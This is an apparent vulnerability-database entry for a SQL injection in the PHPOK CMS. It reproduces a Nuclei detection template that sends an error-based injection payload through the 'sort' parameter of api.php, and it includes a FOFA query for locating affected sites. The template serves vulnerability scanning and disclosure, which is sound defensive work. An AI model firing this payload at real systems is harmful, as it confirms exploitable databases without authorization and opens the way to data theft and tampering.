phpok-sqli: PHPOK - SQL Injection

日期: 2025-08-01 | 影响软件: phpok | POC: 已公开

漏洞描述

PHPOK contains a SQL injection vulnerability via a GET request. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

PoC代码[已公开]

id: phpok-sqli

info:
  name: PHPOK - SQL Injection
  author: ritikchaddha
  severity: critical
  description: PHPOK contains a SQL injection vulnerability via a GET request. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://cve.report/software/phpok/phpok
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
    cpe: cpe:2.3:a:phpok:phpok:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="phpok"
    product: phpok
    vendor: phpok
  tags: phpok,sqli,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/api.php?c=project&f=index&token=1234&id=news&sort=1 and extractvalue(1,concat(0x7e,md5({{num}}))) --+'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'
# digest: 490a0046304402202fe049e040aca6052a9e86eea0c2bf4502f494eed86b9ad974754c6077bbf6e9022005a1f2a94f23c7314643f0c1a24ad0784ff7dfdce9299f85bf888c0c9d4c8da0:922c64590222798bb761d5b6d8e72950

相关漏洞推荐